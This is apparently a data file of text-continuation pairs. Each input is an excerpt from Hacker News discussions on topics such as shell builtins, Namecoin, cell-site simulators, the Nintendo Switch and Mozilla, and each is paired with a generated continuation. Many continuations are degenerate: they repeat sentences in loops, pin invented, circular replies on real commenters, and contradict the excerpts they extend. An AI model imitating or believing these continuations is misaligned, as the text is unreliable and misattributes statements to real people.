ironic!\n\n~~~\njoe24pack\nIt's odd that the odd numbers slipped my mind. Thank you for your gracious\ncorrection.\n\n------\njypepin\nAccording to the time it took to my macbook air to calculate it in ruby, it\nwould be pretty interesting to have someone generate benchmarks for different\nlanguages"} +{"output_text": "layouts/rwd-\npatterns/)\n\n~~~\nmattmanser\nI'm not sure what you're trying to say.\n\nThe term \"design patterns\" is used by designers to describe the common\npatterns that may be applied for good UI/UX design.\n\nIt's not a term that's used by computer scientists.\n\n~~~\nbigtunacan\nI'm not sure what you're trying to say.\n\nThe term \"", "input_text": "ref=pd_lpo_sbs_d...](http://www.amazon.com/gp/product/0881792128/ref=pd_lpo_sbs_dp_ss_3?pf_rd_p=1944687762&pf_rd_s=lpo-\ntop-\nstripe-1&pf_rd_t=201&pf_rd_i=3721200438&pf_rd_m=ATVPDKIKX0DER&pf_rd_r=038MRVMFF37KXY94ER2F).\n\n~~~\nmattmanser\nIt doesn't sound like you know what software design patterns are. This has\nabsolutely nothing at all to do with design patterns, which is about software\ndesign and how to manage complexity and nothing else. UX is not code.\n\n~~~\nbigtunacan\nWhile I agree that the TC intended software design patterns, I don't think a\nWTF is in order for the confused reply.\n\nThe term \"design patterns\" stems from architecture, not computer science, and\nis used by designers as well for the common patterns that may be applied for\ngood UI/UX design.\n\n[http://ui-patterns.com/patterns](http://ui-patterns.com/patterns)\n\nSomebody better let Google know that \"design patterns\" don't apply to UX.\n\n[https://developer.android.com/design/patterns/index.html](https://developer.android.com/design/patterns/index.html)\n\n[https://developers.google.com/web/fundamentals/layouts/rwd-p...](https://developers.google.com/web/fundamentals/"} +{"output_text": " No such file or directory\n /bin/time: not found\n \n\nI'm not sure if this is a bug or a feature.\n\n~~~\njlgreco\nI think it is a feature.\n\n~~~\nhobarrera\nI'm not sure if it's a feature or a bug.\n\n------\njlgreco\nI am not sure if this is a bug or a feature.\n\n~~~\njlgreco\nI", "input_text": " and\nshell the author is using.\n\n~~~\nElrac\n> As as side-note, an article like this should at least mention which OS and\n> shell the author is using.\n\nVery much agree! I just tried this on my 2.6.32 RHEL system, and it's never\nheard of \"-l\". It outputs very similar-looking information as in the article,\nthough, when given \"-v\".\n\n------\nhalostatue\nIn both bash and zsh, you can force the shell to use $PATH for lookup\n(bypassing functions and shell builtins) by calling a builtin name with\n'command' ('command time -l ls'). You can equivalently force a builtin with\n'builtin', but that does not work with reserved words (and 'time' is a shell\nreserved word).\n\n~~~\nramshorns\nTIL that a shell reserved word is different from a shell builtin.\n\n[http://unix.stackexchange.com/questions/267761/differences-b...](http://unix.stackexchange.com/questions/267761/differences-\nbetween-keyword-reserved-word-and-builtin)\n\n~~~\nxelxebar\nYeah. Shell semantics can be pretty unintuitive sometimes. I often find it\nhelpful to translate these ideas to standard programming language terms.\n\n* Commands are like functions * Commands in /bin etc. are like library functions * Builtins are like a language's primitive functions * Keywords are keywords\n\n------\nhobarrera\n\n $ which time\n time: shell reserved word\n $ ls /usr/bin/time /bin/time\n ls: cannot access '/usr/bin/time':"} +{"output_text": ".\n\n~~~\njessaustin\nI think the analogy is a bit off. Gorbachev was a reformer, and he was\nsuccessful in his reforms. Kim is a dictator, and he is not.\n\n~~~\nmaxxxxx\nI think the analogy is a bit off too. Gorbachev was a reformer, and he was\nsuccessful in his reforms. Kim is a dictator, and he is not.\n\n~~~\njessa", "input_text": " gain.\nShould we let Germany erase the holocaust if they donate sufficiently large\nsums to charity? Should we forget about the human rights issues in North Korea\njust so we can label the current situation peaceful, and pretend they do not\nexist?\n\n------\npow_pp_-1_v\nI haven't read through all the comments here but so far I haven't seen anyone\ngive credit to Kim Jong Un. He's probably a pretty smart dude and has been\nplanning these moves ever since he was a kid. At the end of all this, he will\nagree to \"denuclearize\" by reducing his nuclear stockpile over a very long\ntime period; promise to stop doing nuclear research etc. In return he will get\na ton of foreign aid, much weakened sanctions against his country and\nlegitimacy in the international stage.\n\nBut who knows. I am no expert.\n\n~~~\nmalnourish\nSure, give him some credit. In the same breath that he allowed for and\ncommitted atrocities against his people.\n\n~~~\nimbokodo\nYou mean like the massacre of No Gun Ri and the general policy of shooting\ncivilians in the Korean war? The Gwangju massacre?\n\nOh you don't mean the atrocities of the dictatorships in the south under the\nUS military occupation, you mean the north.\n\n~~~\ncodyb\nJust because others have done something doesn\u2019t excuse the behavior of the\nindividual.\n\nThat being said, just because someone has done something horrible doesn\u2019t mean\nthey can\u2019t do good things.\n\n------\nmaxxxxx\nThis reminds me a little of the Gorbachev situation. He thought he could\nreform the Soviet Union but only started an uncontrollable process for its\ndisintegration"} +{"output_text": " there\n> is no realistic possibility that the target of the investigation will be\n> using a cell phone.\n\n> Second, law enforcement officers must not use a cell-site simulator to\n> intercept communications from a cell phone that is in the possession of a\n> person who is not the target of the investigation.\n\n> Third, law enforcement officers must not use a cell-site simulator to\n> intercept communications from a cell phone that is in the possession of a\n>", "input_text": "anthera\nIt seems like a bad choice of domain, given the example usage. \"0x\" will be\nregularly confused with \"ox\", and ox.co is a completely different site.\n\n------\nfraXis\nWhat language / framework is the backend programmed in?\n\n~~~\nrsync\nperl.\n\nAlso: view source on any page to learn _just what kind_ of a website 0x.co is\n...\n\n------\nwcf3\nWhat does the public/private option do?\n\n~~~\nrsync\nAt some point (not now) we will present existing codes as a searchable\nresource from the outside. I haven't decided what that presentation layer will\nlook like, but the idea is that a lot of Oh By Codes will contain important or\nhelpful information and benefit from being searchable.\n\nBut some won't. So if you want to keep the content of your code\nprivate/unindexed/norobots, you would set that flag to \"private\".\n\nI think the expiration pick-list is self-explanatory, yes?\n\n------\nthde\nDo you provide a.onion address?\n\n \nFederal judge puts limits on FBI use of \u201cstingray\u201d cell site simulators - declan\nhttps://plus.google.com/+DeclanMcCullagh/posts/3gc6o6B3Pex\n======\nSniffnoy\nThe actual requirements start on page 8. Here's my summary:\n\n> First, law enforcement officers must make reasonable efforts to minimize the\n> capture of signals emitted from cell phones used by people other than the\n> target of the investigation. [...] Moreover, law enforcement officers must\n> not use a cell-site simulator when, because of the location and time,"} +{"output_text": "iceberg.html)\n\n~~~\nprat\nI have been following this very closely. I am not optimistic. I am\ndisappointed.\n\n------\njrockway\nI'm not sure why this is news. The guy has been discredited for years.\n\n~~~\njrockway\nI guess I should have said \"discredited for years, and then some\".\n\n------\njrockway\nI'm not sure why this is news. The guy", "input_text": " certain taxes and regulations,\nwhich is generally free. Then the messaging could be \"Obama backs $200B job\ncreation effort\".\n\n~~~\nryanwaggoner\n_We spent 10X this number of bank bailouts and such. That didn't piss normal\npeople off because the messaging was that it was needed to fix the economy._\n\nI think you're out of touch. Virtually 100% of the Republicans I know were\ncompletely opposed to the bank bailouts, and a huge portion of the liberals I\nknow were as well. Almost every poll I saw showed that the majority of\nAmericans opposed bailing out Wall Street and the auto industry.\n\n------\nikitat\nSadly, this will only put a small dent in the anti-vaccination cloaked as\nautism advocacy movement.\n\n~~~\nprat\nThere aren't as many pseudo doctors as there are pseudo scientists. This bit\nof pseudoscience is not as resilient as intelligent design. I think this dent\nwill quickly kill the movement.\n\n~~~\nlbrandy\nI appreciate your optimism but I fear you haven't been following this very\nclosely. This is not the first time this guy and his work has been completely\ntossed under a bus. The antivax people have known for a LONG TIME that this\nguy was being seriously discredited and chalked it up to \"big pharma funded\"\nwitch hunting.\n\nSee for yourself: [http://www.ageofautism.com/2010/01/naked-intimidation-the-\nwa...](http://www.ageofautism.com/2010/01/naked-intimidation-the-wakefield-\ninquisition-is-only-the-tip-of-the-autism-censorship-"} +{"output_text": "com/item?id=1805001>\n\n------\njasonlbaptiste\nI'm not sure if you're being serious or not. I'm not sure if you're being\nserious or not.\n\n~~~\njasonlbaptiste\nI'm not sure if you're being serious or not.\n\n------\njasonlbaptiste\nI'm not sure if you're being serious or not.\n\n------\njasonlbaptiste\nI", "input_text": "'ll actually own your side-work and get your documents in order.\n\nFigure out a realistic assessment on how cheap you can actually live. This\nwill be different for different folks. Examine your savings. See if you can\nget some Angel Investments (know any rich people you can convince that your\nidea is good?) This analysis will tell you how long you have until you need to\nfind another job for someone else and give up. I'd be scared if this number\ncame up as less than a year.\n\nIf it is a money-making idea, and you can get some angel money (or VC, or have\na nice nest-egg), don't hesitate to hire people with the skills you don't.\nParticularly sales, marketing, and CEO. Geeks think we can fake these, and\nI've faked sales better than a salesman can fake code, but it was a mistake.\n\nIf you can do the math, see that you've given yourself enough time to develop\na product and give it a chance in the marketplace, can hire the key personnel\nand afford them, have an actual business plan - go for it! Especially if\nyou're under 30. The downside to a failed startup is actually rather small,\nand I've found people like it that I've founded a company on my resume, even\nif it didn't succeed. And if you create something people will actually pay\nfor, hey, congrats!\n\n------\neuroclydon\nFlagged: This guy just advocates lying and underhanded practices in his\ncolumn. I think it's just blog-trolling.\n\nIf it's supposed to be funny, I find the humor very elusive.\n\nHere is another post from a couple of weeks ago:\n\n CSS Variable Test\n \n \n \n\nIf I load that document in a browser that supports CSS variables, the title\nwill be blue. But if I run it through Myth, it drops the blue rule and makes\nthe title red. This is because CSS variables are inherited throughout the\ndocument and can be overridden at any time. The calculated value of the CSS\nproperty that uses the variable depends on the document structure.\n\nLikewise with calc() - if you multiply values like in their example, it works,\nbut if you try to add two values of different units (e.g. 2"} +{"output_text": "jow_laptop\nI'm not sure if this is a good idea.\n\nI'm not sure if the project is going to be successful.\n\nI'm not sure if the project is going to be successful in the long term.\n\nI'm not sure if the project is going to be successful in the short term.\n\nI'm not sure if the project is going to be successful in the medium term.\n\nI'm not sure if the project is going", "input_text": "lightly Offtopic, are there anything similar based on FreeBSD / BSD?\n\n~~~\nnissimk\nThere are several listed here, but most of them only work on x86, not consumer\nrouters.\n\n[https://en.m.wikipedia.org/wiki/List_of_router_and_firewall_...](https://en.m.wikipedia.org/wiki/List_of_router_and_firewall_distributions)\n\n------\nchris_wot\nWhat are the benefits of using procd? And are you going to fork that also?\n\nWhat's the scope of this project - really very interested...\n\n------\nbluesign\n\"AGREED: 4/6 attendees agree to create and agenda and finding a date on the\nmailing list (jow_laptop, 13:05:51)\" [1]\n\nFirst major disagreement :)\n\n[1] [http://meetings.lede-project.org/lede-adm/2016/lede-\nadm.2016...](http://meetings.lede-project.org/lede-adm/2016/lede-\nadm.2016-03-30-11.05.html)\n\n------\nZekio\nMore of this type of projects is good, gives consumers/developers more\nchoices.\n\n~~~\npferde\nNot always. If a fork is made because some group wants to move in a different\ndirection code-wise, it's good, because it gives users more choice. However,\nif the fork is made because of administrative reasons (as it seems to be the\ncase here), then often all it does is muddy the waters and create confusion.\nWe'll see how this one plays out.\n\n------\n"} +{"output_text": ").\n\n------\njoshu\nI've been doing this for years.\n\nI'll ask for a discount, and then I'll ask for a discount on the next order.\n\nI've never had a problem.\n\n~~~\nnate\nI've never had a problem either. I've never had a problem with the store\neither. I've never had a problem with the manufacturer either.\n\nI've never had a problem with the manufacturer because I've", "input_text": " but that wouldn't\nbe a veggie bowl.\n\n~~~\nnate\nYes, it was for a veggie bowl. But i didn't bring the example up originally\nbecause I think the veggie bowl changed. This example was about 6 years ago\nwhen I believe those peppers and onions weren't included with the veggie bowl.\n\n------\nck2\nThat is NOT why modifying your order-in-progress works.\n\nIt works because they would rather modify why you just ordered, rather than\nyou canceling your order entirely.\n\nIt works the same way in the supermarket when I use a coupon that is one day\npast the expire date or not quite exactly the same item, etc. They don't have\nto take the coupon but they realize they CAN take it and if they don't, I will\nlikely not buy the product in the first place.\n\nIf you ask them ahead of time, before you even get the item, they can\ncircumvent you hassling them. Afterwards, it's easier to just give into you.\n\n~~~\nellimist\nI'm wondering, how does that work from the store's end? Would they still be\nable to get the coupon amount back from the manufacturer even though the\ntransaction was made past the expiration date? Do manufacturers even check\nthat?\n\n~~~\nck2\nThe store has two weeks to submit the coupons to their clearinghouse. They\nalso make (a small amount) of money on the coupon vs. you paying in cash\n(unless they do doubling where they lose).\n\nTechnically they are not supposed to accept a coupon that expired 24 or 48\nhours ago. But if you ask in the middle of checkout, you'd be surprised where\n3 out of 4 times they will say no problem (if you have a decent cashier"} +{"output_text": " chose is a bit too trivial to be useful.\n\n------\njrockway\nI don't think this is a good example. The first example is a bit of a\nmisleading title. The second example is a bit of a misleading title.\n\nThe first example is a bit of a misleading title. The second example is a bit\nof a misleading title.\n\nThe first example is a bit of a misleading title. The second example is a bit\nof a misleading", "input_text": " have to be remembered then have we shortchanged\nourselves in mastery of a language? Warts and all?\n\n------\ndraegtun\nAlso see this blog post: _Logical operators in Perl and Ruby_\n[http://eli.thegreenplace.net/2007/06/02/logical-operators-\nin...](http://eli.thegreenplace.net/2007/06/02/logical-operators-in-perl-and-\nruby/)\n\n------\ngmac\nI knew this, but I always find it a rather disappointing choice in the\nlanguage design, as I think its capacity for inspiring bugs rather outweighs\nits usefulness (which extends as far as making some parentheses unnecessary).\n\nIn a nutshell: there are two forms of the AND and OR operators, with different\nprecedences; in many contexts, you can use them interchangeably; but in some,\nthey'll behave differently, and could bite you.\n\n------\njim_h\nI'm slow this morning. That took me a couple of minutes to get the example.\n\n'foo = 42 and foo / 2'\n\nI was expecting an undefined variable since foo was never set because I was\nthinking of it as foo = (42 and foo / 2)\n\nBasically I would write the example as this in 2 lines to avoid confusion and\nnot use 'and':\n\nfoo = 42\n\nfoo / 2\n\nMaybe another example in the article would have been better to show the power\nof 'and'.\n\n~~~\navdi\nWriting it in two lines would defeat the purpose of demonstrating the\ndifference between && and 'and'.\n\n~~~\nCodeMage\nYep, that's an important point: you should probably have chosen a different\nexample. The one you"} +{"output_text": " to use namecoin. The design is\nnot finished, the code is not finished, the documentation is not finished,\nthere are no tests, there are no releases, there are no bug fixes, there are\nno bug reports, there are no bug fixes, there are no bug reports, there are no\nbug fixes, there are no bug reports, there are no bug fixes, there are no bug\nreports, there are no bug fixes, there are no bug reports, there are", "input_text": "\n\"On October 15, 2013, a major flaw in the namecoin protocol was revealed by\nthe Kraken exchange COO, Michael Gr\u00f8nager. The exploit allowed any user to\nfreely steal any domain from any other user.[34] A temporary fix was deployed\nwhich prevents fraudulent name transactions from affecting the name database\nwithout requiring miner intervention, and a long-term fix which rejects blocks\ncontaining such transactions is scheduled for block 150,000 if a majority of\nminers upgrade.[35]\"\n\nWell, I'm sure stoked that we're building the future infrastructure of the Net\non something that we're pretty sure doesn't have a ginormous security hole\n_anymore_...\n\n------\nFredericJ\nIf you don't know about Namecoin here are too additional ressources you might\nwant to check out: \"OkTurtles + DNSChain\" (working Namecoin + DNS\nimplementation): [http://okturtles.com/](http://okturtles.com/) and \"Providing\nbetter confidentiality and authentication on the Internet using Namecoin and\nMinimaLT\" :\n[https://github.com/FredericJacobs/safeweb/blob/master/paper....](https://github.com/FredericJacobs/safeweb/blob/master/paper.pdf?raw=true)\n\n------\nbachback\nThere are currently 1-2 developers working on Namecoin (mostly Khan, another\ncore developer died recently). Namecoin itself has quite a few issues. The\ndesign is only the beginning.\n\n~~~\nappleflaxen\nCan you elaborate on the issues you allude to? The \"criticism\" section on\nwikipedia is pretty thin.\n\n~~~\nbachback\nwell, at the moment there is not much reason"} +{"output_text": " are taking their money out in bitcoin. People in the USA are\ntaking their money out in bitcoin.\n\nThe only currency that is not being taken hostage by governments is Bitcoin.\n\n~~~\njstanley\n> EXAMPLE: I did a wire transfer from the USA to India. Since it was sent in\n> Indian rupees, the receiving bank kept rejecting it. They claimed it didn't\n> pass AML. The real reason is that they wanted to take huge fees", "input_text": " with known\npublic key, due to either the formerly popular Pay-to-Public-Key script, or\nthe ever popular practice of addresses re-use that you also mentioned.\n\n------\nquocble\nAside from the flaws of the article, there are something to be said about how\ncentralized bitcoin has become. Most of the bitcoins are held by centralized\nexchanges, or \"qualified\" custodian (locked up in ETF and other exchanges).\nThey essentially act like centralized banks, the exact thing we're trying to\navoid. The only saving grace is we can send to native wallet, giving us some\nfreedom from the institutions.\n\n------\nHashThis\nThis is how Bitcoin ends up...\n\n* Bitcoin and Ethereum are grandfathered into not requiring KYC and AML. They are the rare currency with zero friction.\n\n* All new currencies require KYC and AML. This is happening right now\n\n* Other currencies can have some positives (backed by revenue generating assets, etc.). But they can be confiscated by governments\n\n* Bitcoin always has a place, as the zero friction, no-KYC currency.\n\nEXAMPLE: I did a wire transfer from the USA to India. Since it was sent in\nIndian rupees, the receiving bank kept rejecting it. They claimed it didn't\npass AML. The real reason is that they wanted to take huge fees for the USD to\nRupees conversion on their receiving side. So they kept rejecting it, until it\nis sent in US Dollars and they can scalp me on the conversion rate. I had 8\nweeks of failed transfers.\n\nThat AML hostage taking can happen across all currencies BUT Bitcoin and\nEthereum.\n\nIn the future, people in China are taking their money out in bitcoin. People\nacross Africa"} +{"output_text": " the outside looks like a utopia, but it's not.\n\n~~~\njessaustin\n_Sometimes it might be why that company survived while contemporaries faded\naway._\n\nI'm not sure that's true. I've heard that the \"Silicon Valley\" companies that\nare still around are the ones that have been around for a long time and have\nbeen able to adapt to changing market conditions.\n\n~~~\nnotacoward\nI'm not sure", "input_text": "oral people in politics to begin promising to\nraise the basic income more than the next politician will, reducing all\npolicymaking to a race to bribe the populace, so that they'll ignore all the\nother amoral things the politicians are doing?\n\n~~~\ndanenania\nAt least they'd be bribing the populace rather than the wealthy.\n\n~~~\npjlegato\nThe wealthy would still get bribed, and a lot more than the pittance that the\npopulace would get.\n\n------\nnotacoward\nReminds me a bit of an experience I had at an event around 2000 or so. Most of\nthe folks there were heavily academic, but at lunch I found myself sitting\nwith one of the organizers who was clearly cut from different cloth, so I\nasked what he did the rest of the year. After a couple of rounds of vague\nresponses about how he helped companies use email to get in touch with\npotential customers, it finally dawned on me that I was sitting at the table\nwith a SPAMMER. Pretty much lost my appetite at that point.\n\nMy takeaway is that spammers, malware authors, even identity thieves, are\namong us. They can seem like perfectly nice people. They might even _be_\nperfectly nice people except for this one bad habit, this one ethical blind\nspot, that enables them to do things from which the rest of us would recoil in\ndisgust. The company in this story might be an extreme case, but I'll bet a\nlot of people asking \"how could they not know\" have themselves worked at\ncompanies that made at least some of their money in less savory ways.\nSometimes it might be why that company survived while contemporaries faded\naway. Silicon Valley from"} +{"output_text": "why not use it for chat too?\".\n\n~~~\njlgreco\n> _I find the correlation more than suspicious._\n\nI don't think it is. I think it is just that the people who are most likely to\nbe using Skype are also the people who are most likely to be using Facebook.\n\n~~~\nbeagle3\nI don't think it is. I think it is just that the people who are most likely to\nbe using Skype are", "input_text": " Google to help determine whether the site or download is harmful. -\n[https://www.google.com/chrome/browser/privacy/](https://www.google.com/chrome/browser/privacy/)\n\n[2]\n[https://news.ycombinator.com/item?id=7562074](https://news.ycombinator.com/item?id=7562074)\n\n~~~\nbeagle3\n> You do realize that the scanning is meant for checking the links for\n> malware, redirection and metadata for previews. Which popular chat service\n> doesn't do this? Paste a link into Facebook, Google+, Gchat and all are\n> likely to do the same or the least passively scan it against a list of known\n> malwares.\n\nThe first time I noticed Microsoft was doing it, was not long after the skype\npurchase and moving to a centralized comm model; gchat for sure was not at the\ntime, and decentralized skype wasn't either. Furthermore, following that chat,\nBing started scanning a server that was not linked from anywhere on the\ninternet. I find the correlation more than suspicious.\n\nAnecdotal, but skype ads on a friend's computer tend to reflect chat subjects\n- which is NOT just \"malware protection\". I wouldn't know - I only use it with\nan iPhone 4 and its old adless client when I do.\n\n> I thought it was common sense by now that if you have something sensitive to\n> share do NOT use a cloud based chat or repository!\n\nI thought it would be too. But I keep meeting people who have the general idea\nthat \"well, all my email is already on gmail/the cloud, and it's working ok -\n"} +{"output_text": " needed to make a decent UI),\nthe phone is still too expensive.\n\n------\njoeblau\nI'm not sure if this is a good idea. I'm not a fan of the UI and I'm not sure\nif I would want to use it.\n\n------\njoeblau\nI'm not sure if this is a good idea. I'm not a fan of the UI and I'm not sure\nif I would want to use it.\n", "input_text": " mobile devices.\n\n __FREE OS __FOR YOUR PHONE\n\nUhh, okay? Oh, and the video shows that the phone is basically an Android\nclone. Great.\n\nI can't talk about the other person, but if I'm being negative it's because\nthis has a really hype-ey 6-minute trailer advertising nothing of interest.\nRule of thumb: Your trailer should never be more than two minutes, because\notherwise it's probably _really damn slow_, and frankly a minute is pushing\nit.\n\n~~~\nwvh\nThis is not a marketing video. It mostly shows how Qt apps work with little or\nno modification, and that it is possible to use existing software with minimal\nadaptation. I think it is interesting because if a few people can make a\nusable prototype with some effort, there is hope that some more people and\neffort can actually produce a reasonably nice open-source mobile system to\nbuild on; that a phone running on open-source software is not an impossible or\nfar-fetched idea.\n\n------\nGiorgi\nwho is target market for this? No-one?\n\n------\nExuma\nThis has got to be the worst phone UI i've ever seen. Can someone answer why\nthis is special?\n\n------\nmiguelrochefort\nWhy does this even exist?\n\nThis must be some of the worst UI/UX I've seen in a while.\n\n------\njasimq\nI don't think the website is marketing the phone correctly. It should be\nreally telling my I would want this phone over others.\n\n------\nlegulere\nToo little and too late.\n\nEven if the GUI would be perfect and much better than android or iOS (which I\ngreatly doubt, simply because of the man hours"} +{"output_text": "great success.\n\n~~~\njamesgeck0\n> I am a bit underwhelmed by the Joycons have no analog trigger buttons.\n\nI'm not sure why you're underwhelmed. The analog triggers are a great idea,\nand I'm glad they're there.\n\n> I am a bit underwhelmed that the Joycons have no analog trigger buttons.\n\nI'm not sure why you're underwhelmed. The analog triggers are a great", "input_text": " microSD cards that people tend to buy?\n\n\\-- edit Another benefit is not having to install/uninstall the game to manage\nspace\n\n------\nfrik\nThe Nintendo Switch seems like a nice tablet form factor game console.\n\nI am a bit underwhelmed by their decision to compromise the usability of the\nright Joycon - moving the analog stick below the digital buttons is certainly\nbad for US/European bigger hands, bad for ergonomic reasons, an unreasonable\ntrade off.\n\nI am underwhelmed by their decision to add no additional fan to the Dock. It's\njust s piece of very cheap locking plastic that might scratches your screen.\nIt could have cooled the Switch and get out more performance out of the GPU\n(now they have to underclock it).\n\nI am a bit underwhelmed by the Joycon grip, that is not very ergonomic for\nlarger hand, and is just a piece of cheap plastic. The Pro controller looks\ngood, but it costs extra $ 70 ($ 20 mote than PS4/X1).\n\nI am a bit underwhelmed that the Joycons have no analog trigger buttons.\nAlready with Wii U the analog triggers were greatly missed in e.g. Lego City\nUndercover, the car acceleration was all or nothing which pales compared to\nGTA gameplay on PS4/X1/PC.\n\nI am a bit underwhelmed about the tear down, while good executed it lacked the\nfinal tear down and analytics of the core components like the \"haptics engine\"\nand the SoC board incl ARM chips.\n\nI am looking forward to a revised model at the end of 2017 that fixes things.\nMaybe even a XL or XS version would be great - like the New 3DS XL which was a\n"} +{"output_text": ".\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019m not seeing any mention of\nWindows 3.11 in the article.\n\n~~~\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019m not seeing any mention of\nWindows 3.11 in the article.\n\n~~~\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019", "input_text": "'s\nstill useful despite the havoc the developers inflict on the app)\n\n~~~\nRandoSTDev\nST dev for Windows here. How many repo do you typically work with at once?\nWould it help to show the \"ahead/behind\" indications in the tab headers?\n\n~~~\nsocialist_coder\nDude, you gotta fix the little arrows that let you scroll the tab bar. Each\nclick just scrolls it like 10% of a tab so it takes 10 clicks to move it 1\ntab. This is ridiculous.\n\nPersonally, I have a 2560x1440 monitor and I keep ST on it fullscreen. I\nusually have ~7 repos open but sometimes need to open up to 15. I can fit 11\ntabs but look at how much wasted space is in each tab:\n[https://www.screencast.com/t/vKrSNe5APy](https://www.screencast.com/t/vKrSNe5APy)\n\nOn the older version of ST, like 1.5 or something, the tabs were only as big\nas the name of the repo so each tab was much smaller. This worked great.\n\nAlternatively, make the tabs just add extra rows so instead of having a\nscrolling list, the tab bar grows vertically instead.\n\n------\nxtf\nWhen it will be available for Windows 3.11? SCNR\n\n~~~\nagumonkey\nGod I thought it was the source tree of MS Windows 2.x. So disappointed.\n#grammar\n\n~~~\ndjsumdog\nI could tell what they were saying, but my inner grammar Nazi kicked in as\nwell.\n\n~~~\nagumonkey\nI wasn't into grammar nazi mode, more nostalgia"} +{"output_text": "otyping board, or even use a breadboard.\n\n~~~\nsigkill\nI agree with you, but I think the Arduino community is still a bit too\n\"newbie-friendly\" for my liking. I'm not saying they're not welcoming, but\nthey're still not as welcoming as they should be.\n\n------\njoezydeco\nI'm not sure I understand the point of this article.\n\nThe Arduino is a great platform for learning", "input_text": " of microcontroller/embedded development right now and\ndevices are coming out faster than people can fully learn to appreciate them\n(Commodore 64 junkie). It's probably best to pick the platform that has the\nstrongest support community or the one you know the components of the best.\n\n------\nsigkill\nYou used to be able to hack on the arduino without needing SMD components and\na reflow station. Electronics newbies don't have those and arduino was\ntargeted towards them. Now, they've become a component supplier, since you\ncan't buy your own chips and hack a board on your own if you don't have an\netched PCB or someway to get that. I love the libraries and platform but in\nthe quest for more power (Mega, Due, SMD based arduinos etc.) I don't like the\nfact that they're shunning newbies.\n\n~~~\ntdicola\nI used to think the same thing, but really most SMD soldering isn't that\ndifficult with some practice and a nice fine point soldering iron. Check out\nDave Jone's videos at the EEVBlog, he has some great ones on SMD soldering\nlike [http://www.eevblog.com/2011/07/18/eevblog-186-soldering-\ntuto...](http://www.eevblog.com/2011/07/18/eevblog-186-soldering-tutorial-\npart-3-surface-mount/)\n\nAlso just because an Arduino board is built with SMD or very small components\ndoesn't mean a user has to do the same thing. This board has the same headers\nfor input/output as any other Arduino so you can attach existing shields, put\non a prot"} +{"output_text": " Lack of startup/solo opportunities \u2013 CPU design seems to offer fewer opportunities to found/join a startup or work as an independent contractor. Will the tech sector\u2019s current interest in AI/ML lead to many more startups in CPU design, as it has done for software design?

4. Lack of startup/solo opportunities \u2013 CPU design seems to offer fewer opportunities to found/", "input_text": " inherently bad or malicious.\n\nCan we have better writing and reporting instead of these emotionaly-driven\npieces?\n\n~~~\nThorrez\n>And yes LLC need not to disclose the name of their unitholders\n(shareholders). So what? That is not a problem.\n\nWhy isn't it a problem?\n\n> Tenants can\u2019t figure out to whom to complain when something goes wrong.\n> Local officials don\u2019t know whom to hold responsible for code violations and\n> neighborhood blight.\n\nThat seems like a problem to me.\n\n \nAsk HN: Are there any other CPU designers here? - hnu0847\nAre there any other CPU designers here? If so, I\u2019d be curious to hear your thoughts on the industry. I\u2019ve been working as a CPU designer for several years and as I\u2019ve watched the growth of the tech sector during this time, I can\u2019t help but wonder if I should switch to software engineering. My reasons are:

1. Limited choice of employers and cities \u2013 The semiconductor industry has been consolidating over the last several years, and the trend seems likely to continue. Consequently, there are currently only a handful of tech giants designing ICs. Jobs seem limited to a few major cities. SWE jobs can be found in most large cities across a range of company sizes.

2. Lack of startup/solo opportunities \u2013 SWE seems to offer many opportunities to found/join a startup or work as an independent contractor. CPU design seems to have far fewer of these opportunities, likely due to the much higher capital requirements. Will the tech sector\u2019s current interest in AI/ML lead to many more startups in CPU design, as it has done for software design?

3."} +{"output_text": " for\nsomeone to ask you to post it on Medium.\n\n~~~\nslyall\nI don't think I was being an ass. I was just being honest.\n\nI don't think I was being a dick either. I was just being honest.\n\nI don't think I was being a dick. I was just being honest.\n\nI don't think I was being a dick. I was just being honest.\n\nI don't think I was being", "input_text": "uma\n> What incentive would they possibly have to not have an export option to let\n> users take their content away?\n\nWrong question. What incentive would they possibly have to have an export\noption? If they're going to disappear, what makes you expect that the most\nlikely scenario involves them helping users transition when the vast majority\nof startups haven't done this?\n\nYou can be happy if you get some advance notice that the service is going to\nshut down. Getting advance notice AND the option to export your data AND that\ndata being in some remotely useful format is hitting the jackpot.\n\n~~~\nFuturebot\nMedium already has an export feature. If you're arguing that they may take it\naway (which I think is vanishingly unlikely), then that's another thing\nentirely. The feature is there, though, so incentives about building one don't\nseem relevant to the discussion.\n\n~~~\nslyall\nBut even if you can get all your articles and re-upload them (and they look\nnice still) the URLs will change so anything that links to your channel or\nindividual articles is going to break.\n\n------\npc86\n> _So I suggested he post the comment to a blog so I could give it greater\n> circulation by pushing it through my network._\n\n> _In the back of my mind I thought that he 'll probably put it on Medium.\n>..._\n\n> _Well, he did put it on Medium and sent me a link, and I sent back a comment\n> saying that I was worried he 'd do that, and unfortunately while I love his\n> post I am reluctant to point to it on Medium._\n\nWhat an ass.\n\nIf you feel that strongly about it, say something up front. But don't wait"} +{"output_text": ".\n\n~~~\nmillietaint\nI'm not sure if you are being sarcastic or not, but I'm not sure how you can\nsay that he resigned after the outcry.\n\n~~~\nTazeTSchnitzel\nHe resigned after the outcry, yes.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a big deal.\n\nI mean, I'm not a big", "input_text": " Sandboxing\netc.) and in many cases appears to be faster - but I don't trust an\nadvertising company with my browser.\n\nI think we need a fresh contender - an open browser, built from the start with\nan understanding of the security and privacy lessons we have learned over the\nlast 30 years. I'm not sure how realistic that dream is, but I believe it is\nworth the thought.\n\n~~~\npakled_engineer\nServo is that project, when it's beta I'll go back to Mozilla as I feel like\nI'm ushering in the Stallman dystopia by supporting proprietary software. I\ndumped FF when they almost cloned Chrome's UI. If I'm going to use the same UI\nmight as well apt-get install browser-chromium and get a sandbox with it.\n\n------\nmillietaint\nI dumped Firefox ages ago, when I first heard of Eich's hatred towards the gay\nand lesbian community.\n\nIt is inconceivable that his colleagues at Mozilla did not know about his\nbigoted beliefs and the financial support he gives to similarly bigoted\norganisations. Yet they decided he was the best person to run Mozilla, a\ncompany that only pays lip service to equal rights - clearly at the top levels\nof management it is a vile, homophobic, racist organisation.\n\nThere is no way I am using a homophobic web browser on any of my desktops, so\noff it went.\n\nI now happily use Safari for my everyday browsing, knowing that Apple is in\nthe safe hands of Tim Cook, a proud gay man who I admire greatly.\n\n~~~\nTazeTSchnitzel\nEich resigned less than two weeks after being made CEO after the outcry from\nboth outside and within Mozilla"} +{"output_text": " is just a bunch of text.\n\n~~~\nldh\nI'm not sure what you're trying to say. I'm not sure what 